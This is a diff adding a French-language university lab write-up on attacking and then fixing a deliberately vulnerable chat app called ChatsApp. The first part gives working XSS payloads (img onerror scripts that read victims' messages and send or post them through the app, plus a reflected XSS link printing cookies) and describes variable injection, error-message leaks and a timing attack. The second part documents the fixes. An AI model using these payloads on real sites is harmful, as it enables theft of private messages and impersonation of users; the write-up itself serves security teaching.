|
| 1 | +# 7 Security |
| 2 | + |
| 3 | +Énoncé [ici](https://web-classroom.github.io/labos/labo-7-security.html) |
| 4 | + |
| 5 | +## Partie 1 |
| 6 | + |
| 7 | +Compte utilisé: `loic.herman1` |
| 8 | + |
| 9 | +### Flag 1 |
| 10 | + |
| 11 | +**Flag**: flag1:dacbc9136bd6064c |
| 12 | + |
| 13 | +**Exploit** |
| 14 | + |
| 15 | +Le premier flag se trouve dans le dernier message envoyé par Trump à Musk. Pour l'obtenir, notre JS doit extraire du DOM le contenu du dernier message de la conversation avec Trump, et l'envoyer à travers la conversation que Elon a avec nous. |
| 16 | + |
| 17 | +```html |
| 18 | +<img |
| 19 | + src="x" |
| 20 | + onerror=" |
| 21 | +if (document.querySelector('#header .name').innerText !== 'TestStudent1') { |
| 22 | + let t = Array(...document.querySelectorAll('.conversation .last-message')).map(c => c.innerHTML.trim()).join('|||'); |
| 23 | + console.log(t) |
| 24 | + document.getElementById('message').innerHTML = t; |
| 25 | + document.getElementById('messageButton').click() |
| 26 | +} |
| 27 | +" |
| 28 | +/> |
| 29 | +``` |
| 30 | + |
| 31 | +### Flag 2 |
| 32 | + |
| 33 | +**Flag**: flag2:acc90b31e88f9b7f |
| 34 | + |
| 35 | +**Exploit**: |
| 36 | + |
| 37 | +An image is sent with an onerror event trigger that will collect the information from the page and send it to us directly. |
| 38 | + |
| 39 | +```html |
| 40 | +<img |
| 41 | + src="random" |
| 42 | + onerror="if (document.querySelector('#header .name').innerText !== 'Herman Loïc') { |
| 43 | + let t = Array(...document.querySelectorAll('.conversation .last-message')).map(c => c.innerHTML.trim()).join('|||'); |
| 44 | + console.log(t) |
| 45 | + document.getElementById('message').innerHTML = t; |
| 46 | + document.getElementById('messageButton').click() |
| 47 | +}" |
| 48 | +/> |
| 49 | +``` |
| 50 | + |
| 51 | +### Flag 3 |
| 52 | + |
| 53 | +**Flag**: N/A |
| 54 | + |
| 55 | +**Exploit** |
| 56 | + |
| 57 | +Le flag 3 est envoyé par Trump quand Elon lui envoie un message donné dans l'énoncé. On fait donc, similairement au flag 2, faire un appel à l'API d'envoi de message, pour envoyer un message à Trump avec le contenu demandé. |
| 58 | + |
| 59 | +```html |
| 60 | +<img |
| 61 | + src="x" |
| 62 | + onerror=" |
| 63 | + let t = Array(...document.querySelectorAll('.conversation')).map(c => { |
| 64 | + let name = c.querySelector('.name').innerHTML |
| 65 | + if (name.includes('Donald')) { |
| 66 | + let url = c.onclick |
| 67 | + url = url.toString() |
| 68 | + url = url.match(/openChat\(\'(.*)\'\)/)[1] |
| 69 | + console.log(url) |
| 70 | +
|
| 71 | + fetch('/conversation/'+url, { |
| 72 | + method: 'POST', |
| 73 | + body: new URLSearchParams({ message: 'gimme the rest of the codes pls' }) |
| 74 | + }) |
| 75 | + } |
| 76 | + }) |
| 77 | +" |
| 78 | +/> |
| 79 | +``` |
| 80 | + |
| 81 | +Le dernier flag se trouvera maintenant dans la conversation entre Elon et Trump ; on peut donc réutiliser le code du flag 2 pour l'obtenir. |
| 82 | + |
| 83 | +## Partie 2 |
| 84 | + |
| 85 | +Compte utilisé: `loic.herman1` |
| 86 | + |
| 87 | +### Flag 4 |
| 88 | + |
| 89 | +**Flag**: flag4:bf61e7b57fa30fe0 |
| 90 | + |
| 91 | +**Exploit** |
| 92 | + |
| 93 | +Deux choses sont à remarquer : |
| 94 | + |
| 95 | +- La fonctionnalité qui log-out après 10 minutes a été implémentée dans une balise `<script>`, et contient une erreur, mais le developpeur ne s'en est pas rendu compte car elle a été catch par le try-catch. En effet, `nextTimeout` est une variable globale qui n'est pas définie initialement. |
| 96 | +- Dans la liste des conversations, le display name de l'utilisateur est utilisé comme attribut `id` de la balise `<span>` affichant le nom de l'utilisateur. |
| 97 | + |
| 98 | +On a donc une vulnérabilité de variable injection : en changeant son nom d'utilisateur à `nextTimeout`, on injecte l'existence de la variable globale `nextTimeout` chez Elon, qui aura pour effet de le faire se déconnecter immédiatement (car `nextTimeout` est utilisé dans le calcul de `secondsLeft`, et que s'il n'est pas un nombre, `secondsLeft` sera `NaN` et donc inférieur à 0). |
| 99 | + |
| 100 | +### Flag 5 |
| 101 | + |
| 102 | +**Flag**: N/A |
| 103 | + |
| 104 | +**Exploit** |
| 105 | + |
| 106 | +Ce flag utilise du leak d'information dans les messages d'erreur. À l'envoi d'un message vide, le serveur retourne une erreur 403 avec un message d'erreur. Ce dernier leak les ids des conversations du destinataire. En envoyant un message vide à Elon, on peut donc récupérer l'id de sa conversation avec Zuckerberg. |
| 107 | + |
| 108 | +Ensuite, lorsqu'on tente d'accéder à l'url d'une conversation à laquelle on n'appartient pas, un 403 est à nouveau retourné. Le message d'erreur associé leak l'intégralité de la conversation. On peut donc ainsi récupérer le flag se trouvant dans la conversation entre Elon et Zuckerberg. |
| 109 | + |
| 110 | +### Flag 6 |
| 111 | + |
| 112 | +Personnes inscrites à ChatsApp: N/A |
| 113 | + |
| 114 | +**Exploit** |
| 115 | + |
| 116 | +Flag 6 est une timing attack. En effet, le serveur tente d'implémenter une protection contre le brute force en ralentissant la réponse en cas d'erreur. Cependant, une erreur de développement fait que le cooldown n'a lieu que si l'utilisateur existe. On peut donc essayer le username de chaque utilisateur avec un mot de passe quelconque, et voir si le serveur prend plus de temps à répondre. Si c'est le cas, alors l'utilisateur existe. |
| 117 | + |
| 118 | +## Exploit Supplémentaire |
| 119 | + |
| 120 | +Lien vers ChatsApp qui, lorsque l'on clique dessus, exécute `alert(document.cookie)` dans le browser, que l'on soit actuellement connecté ou non à ChatsApp : |
| 121 | + |
| 122 | +`/login?error=<script>alert(document.cookie)<%2Fscript>` |
| 123 | + |
| 124 | +## Correction des vulnérabilités |
| 125 | + |
| 126 | +Si vous effectuez d'autres modifications que celles demandées, merci de les lister ici : |
| 127 | + |
| 128 | +### Flags 1, 2, 3 |
| 129 | + |
| 130 | +Ces flags étant des vulnérabilités XSS, il est important d'éviter toute possibilité d'envoyer un message contenant du code HTML ou JavaScript. |
| 131 | +Il y a plusieurs options possibles, nous avons décidé d'utiliser la plus forte: toutes les balises HTML seront supprimées des messages envoyés, on gardera alors que le contenu textuel du message. |
| 132 | + |
| 133 | +En sécurité, il est très recommandé de s'appuyer sur des librairies correctement maintenues pour effectuer ce genre de tâches. Nous utilisons donc `sanitize-html` avec les options suivantes: |
| 134 | + |
| 135 | +```js |
| 136 | +let message = sanitize(req.body.message, { |
| 137 | + allowedTags: [], |
| 138 | + allowedAttributes: {}, |
| 139 | +}); |
| 140 | +``` |
| 141 | + |
| 142 | +Cette modification est faite dans le backend lors de l'envoi de message pour s'assurer de ne pas avoir des données problématiques dans la base de données qui augmenterait considérablement la surface d'attaque. |
| 143 | + |
| 144 | +### Flag 4 |
| 145 | + |
| 146 | +Nous ajoutons la déclaration de la variable `nextTimeout` dans le script de déconnexion après 10 minutes. |
| 147 | + |
| 148 | +```js |
| 149 | +let nextTimeout = null; |
| 150 | +``` |
| 151 | + |
| 152 | +Pour aussi éviter tout autre risque d'injection de variable globale, l'attribut `id` des balises `<span>` affichant le nom de l'utilisateur a été retiré. |
| 153 | +Ce n'était de toute façon pas nécessaire, et cela évite une vulnérabilité potentielle dans le cas où l'utilisateur pouvait avoir un nom contenant du HTML ou autre. |
| 154 | + |
| 155 | +A ce propos nous avons ajouté une validation d'entrée sur le username pour éviter les injections de code HTML ou JavaScript. |
| 156 | + |
| 157 | +```js |
| 158 | +let displayName = req.body.displayName; |
| 159 | +if (!displayName || !displayName.match(/^[a-zA-Z0-9_-\s]+$/)) { |
| 160 | + res.status(400).send("Invalid display name provided"); |
| 161 | + return; |
| 162 | +} |
| 163 | +``` |
| 164 | + |
| 165 | +### Flag 5 |
| 166 | + |
| 167 | +Pour éviter tout problème, nous avons enlevé complètement la notion de détails d'erreurs. |
| 168 | +Nous retournons simplement une `ServerError` avec un message générique. |
| 169 | + |
| 170 | +Ici il est important de différencier les messages d'erreurs de validations où le message est utile pour l'utilisateur sans divulguer la présence d'un utilisateur ou d'une conversation de ceux d'erreurs système où le message ne doit pas contenir d'informations sensibles. |
| 171 | + |
| 172 | +Donc, pour l'erreur d'utilisateur absent dans la conversation et l'erreur de conversation inconnue, nous retournons le même message d'erreur générique. |
| 173 | +Par contre si le message de l'utilisateur est vide, nous retournons un message d'erreur spécifique. |
| 174 | + |
| 175 | +```js |
| 176 | +export function userNotInConversationError() { |
| 177 | + return new ServerError("Operation not permitted", "Conversation not found"); |
| 178 | +} |
| 179 | + |
| 180 | +export function conversationNotFoundError() { |
| 181 | + return new ServerError("Operation not permitted", "Conversation not found"); |
| 182 | +} |
| 183 | + |
| 184 | +export function emptyMessageError() { |
| 185 | + return new ServerError("Operation not permitted", "Message is empty"); |
| 186 | +} |
| 187 | +``` |
| 188 | + |
| 189 | +### Flag 6 |
| 190 | + |
| 191 | +Le middleware d'authentication utilise une attente de 1 seconde dans le cas où un utilisateur existe mais que le mot de passe fourni n'est pas le bon. |
| 192 | +Une correction simple serait de faire la même attente dans le cas où l'utlisateur n'existe pas en base de données. |
| 193 | + |
| 194 | +Le mieux serait néanmoins une fois l'implémentation de `argon2` pour le hashage des mots de passe, de ne pas faire d'attente mais de calculer le hash du mot de passe fourni |
| 195 | +dans tous les cas et de comparer le hash avec celui en base de données. Cela permettra d'avoir un temps de réponse constant et de ne pas donner d'informations sur la présence |
| 196 | +ou non d'un utilisateur, pour autant que la base de données soit correctement indexée. |
| 197 | + |
| 198 | +```js |
| 199 | +await getUserByName(username).then( |
| 200 | + async (user) => { |
| 201 | + if (user.password === password) { |
| 202 | + // Set the cookie with session expiration |
| 203 | + setLoginCookie(res, username, password); |
| 204 | + req.user = user; |
| 205 | + } else { |
| 206 | + console.log(`User ${username} has wrong login key ${password}`); |
| 207 | + // Waiting 1 second to prevent bruteforce |
| 208 | + await new Promise((resolve) => setTimeout(resolve, 1000)); |
| 209 | + } |
| 210 | + }, |
| 211 | + async () => { |
| 212 | + console.log(`User ${username} not found`); |
| 213 | + await new Promise((resolve) => setTimeout(resolve, 1000)); |
| 214 | + } |
| 215 | +); |
| 216 | +``` |
| 217 | + |
| 218 | +### Exploit supplémentaire |
| 219 | + |
| 220 | +Le template de login utilisait une injection directe du message d'erreur donné en paramètre dans la page générée. |
| 221 | +Pour résoudre l'erreur simplement, il suffit de changer le template pour injecter seulement la valeur textuelle du message d'erreur. |
| 222 | + |
| 223 | +```html |
| 224 | +<%= errorMessage %> |
| 225 | +<!-- au lieu de <%- errorMessage %>--> |
| 226 | +``` |
| 227 | + |
| 228 | +### Corrections pour l'ajout de `argon2` |
| 229 | + |
| 230 | +En premier lieu, nous ajoutons argon2 pour le stockage des mots de passe sous forme hashée. |
| 231 | +Le script d'initialisation de la base de données est modifié pour hasher les mots de passe de démonstration avant de les insérer dans la base de données. |
| 232 | + |
| 233 | +Nous ajoutons ensuite au projet `express-session` pour gérer les sessions de l'utilisateur de manière sécurisée, |
| 234 | +et `passport-local` pour gérer l'authentification de l'utilisateur. `dotenv` est ajouté pour permettre de charger le secret des sessions depuis un fichier `.env`. |
| 235 | + |
| 236 | +Les modifications effectuées ensuite sont les suivantes: |
| 237 | + |
| 238 | +1. Le stockage de session est configuré pour permettre à passport.js de l'utiliser par la suite, les données utilisateurs sont sauvegardées en mémoire et un cookie avec un identifiant de session est envoyé au client. |
| 239 | + Le secret des sessions est chargé depuis le fichier `.env` et est utilisé pour signer les cookies de session. |
| 240 | +2. La stratégie de connexion `local` de passport.js est ensuite configurée, pour éviter les timings attacks une vérification de hash est faite sur un faux hash si l'utilisateur n'existe pas. |
| 241 | +3. La configuration du stockage des utilisateurs par passport.js est faite pour utiliser la base de données. |
| 242 | +4. Les middlewares de session et de passport.js sont ajoutés à l'application express. |
| 243 | +5. Les routes de login et logout sont modifiées pour utiliser passport.js et express-session. |
| 244 | +6. La gestion du login précédente est remplacée par passport.js. |
| 245 | +7. La vérification des routes authentifiées est faite via la méthode offerte par le middleware de passport.js. |
| 246 | +8. Le logout est modifié pour détruire la session de l'utilisateur, et gérer la redirection vers la page de login. |
0 commit comments